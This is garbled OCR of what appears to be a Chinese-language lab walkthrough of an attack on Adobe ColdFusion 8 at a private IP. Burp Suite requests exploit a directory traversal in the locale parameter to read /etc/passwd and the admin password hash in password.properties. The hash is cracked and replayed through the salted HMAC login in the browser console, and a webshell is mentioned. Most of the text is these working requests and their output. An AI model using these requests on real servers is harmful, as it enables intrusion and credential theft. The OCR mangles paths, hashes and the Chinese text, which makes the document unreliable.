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ADOBE" COLDFUSION® 8
Configuration and Settings Migration Wizard

ColdFusion has been successfully installed. This wizard will guide
you through the remaining server configuration steps and, if
applicable, migrate settings from a previous version of
ColdFusion.

To guarantee the securlty of your server, please enter your
ColdFusion Administrator password.
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Request Response

Raw | Params | Headers | Hex w | Headers | Hex

Pretty \n Actions v Raw Render n Actions v
1 GET /CFIDE/administrator/enter.cfm?locale=. ./ ./ /oof /o /oo /0 fetefpasswds00en A 34 A
HTTR/1.1 35 <htmls
2 Host: 192 168.15.130: 8500 36 <head=
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 37 <LINK REL="SHORTCUT ICOM" href="http://192 168.15.130: 8500/CFIDE/adninistrator/favicon.ico"
4 Accept: textshtml,application/xhtnl+xml,application/xml;q=0,9,inage/webp,*/*;q=0,8 38 <title>
5 Accept-Language: en root i x root : /root : /binsbash
& Accept-Encoding: gzip, deflate 39 1:daemon: /usr/sbin: fusr/sbin/nologin
7 Connection: close 40 binix:2:2:bin:/bin: /usr/shin/nologin
& Upgrade-Insecure-Requests: 1 41 sys:x:3:3:sys: /dev: fusr/sbin/nologin
9 Cache-Control: max-age=0 42 65534 sync: /bin: /bin/sync
10 g 43 S5:60:games: fusr/games: fusr/shin/nologin
11 44 12:man: /var/cache/man: fusr/sbin/nologin
45 17 1ptfvar/spool /lpd: fusr/sbin/nologin
46 B:mail:/var/mail: fusr/sbin/nologin
47 news:/var/spool/news: fusr/sbin/nologin
43 110:10:uucp: /var/spool fuucp: fusr/shin/nologin
a9 proxyix:13:13:iproxy: /bin: fusr/sbin/nolegin
50 www-dataix: 3333 www-data: /var/www: fusr/sbin/nologin
51 backup:ix:34:34:backup: fvar/backups: fusr/sbin/nologin
52 list:x:38:38:Mailing List Manager: /var/list: fusr/sbin/nologin
53 ircix:39:39:ircd:fvar/runfircd: fusr/shin/nologin
54 1x:41:41:Gnats Bug-Reporting System (admin) :fvar/lib/gnats: fusr/sbin/nologin
55 nobody : x : 65534 65534: nobody : fnonexistent : fusr/sbin/nologin
56 Tibuuid:x:100:101: :/var/1ib/libuuid:
57 syslog:x:101:184: : /home/syslog: /bin/false
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Done 16,980 bytes | 17,462 miliis
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Burp Suite Community Edition v2020.9.1 - Temperary Project

Burp Project Intruder Repeater Window Help
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Send Cancel <|v >|* Target http://192.168.15.130:8500 @
a- -

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
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1 GET /CFIDE/administrator/enter.cfm?locale=. ./../../../../../. . /lib/password properties%00en

HTTP/1.1
2 Host: 192.168,15.130: 8500
3 User-Agenmt: Mozilla/5.0 (X11: Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml, application/xml;g=0. 9,image/webp, */*:q=0.8
5 Accept-Language: en
& Accept-Encoding: gzip, deflate
7 Connection: close <html=
& Upgrade-Insecure-Requests: 1 <head>
9 Cache-Control: max-age=0 <LINK REL="SHORTCUT ICOM" href="http://192, 168,15,130; 8500/CFIDE/adninistrator/favicon.ico"
10 <title=
11 #Mon Feb 2201:55:11 UTC 2021
39 rdspassword=
40 passwo rd=D033E22AF348 AEBS660FC21 40AEC35850CADASST
41 encrypted=t rue
</title>
42
43
44
45 |
46 <style>
47 body,p,td{
43 font -family:Arial, Helvetica, sans-serif;
43
50 font-size:small;
51 e
b 52 1 |
v <l 7 L
@ («])[=] searcn omatches  (2)48} [« | (2| |password 22 matches
Done 10,200 bytes | 10,032 miliis

FG R Hsha-1m# 31, 7 AR http://mwww.md5decrypter.co.uk/shal-decrypt.aspxiX JL B & T

W R JE BB BT .

£22  chahlocom [ abshu. com

FEEMBIREE cncode & decode

Pl

admin

SHA1 SHA224 SHA256 SHA384 SHA512 MD5 HmacSHA1 HmacSHA224 HmacSHA256 HmacSHA384 HmacSHA512 HmacMD5
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d033e22ae348aeb5660fc2140aec35850c4da997
DO033E22AE348AEB5660FC2140AEC35850C4DA997

JG & kM webshell, #HmitRI4ESEHRAT, ZE TR —4shellB A H %
PS:ITHREZI LK, HEIH R KB WS

Tips(fi¥h B X EAREEE): WRFBUPESREAL? BEE? ARTE, REEANPMEKIT. coldfusionff) FZ £ KIERIN %, =2
AR ED fnsalt#t17HMAC hash/5 54 9548, HIRS SR ETHEBERIE. B DUXEfRIAT R Z 4440 2 IR 1 0% 5 1%
BRI ZhREN, TOANAFE AR RD T o fER i B2 I v+ 5 HMACHH

FST IR, P PSR PR U R R O T (LR A 30 — K, BT TR ER), 7T, ik RR A firebughit R
T~

1F12{AHE B IEH &



2.3 N B & kT
3.7 F % Ahex_hmac_sha1(document.loginform.salt.value,”password”) password & #R 3% B 2 11 A8 AN I % J& 1 255

53T FburpsuitEi E 4, FAREHEBERAT, X5 Htamper dataffiff, Adistarttamper J5 A& 5, BUHESIEER
cfadminPassword{& 4 L Hijs 3R FR AN 7 745 B E

6.—Bfsubmit, MINAHAMBEZHEENE S

[® @] | Elements Console Sources  Network  Performance ~ Memory  Application % 02 &
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i= Nomessages > hex_hmac_sha1(document. loginform.salt.value,”password”)
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© Noerrors © Uncaught SyntaxError: Invalid or unexpected token VM50:1

£ Nowarmnings > hex_hmac_shai(document. loginform. salt.value, ”D033E22AE 34BAEBSG60F C2140AEC35850C4DA997”)
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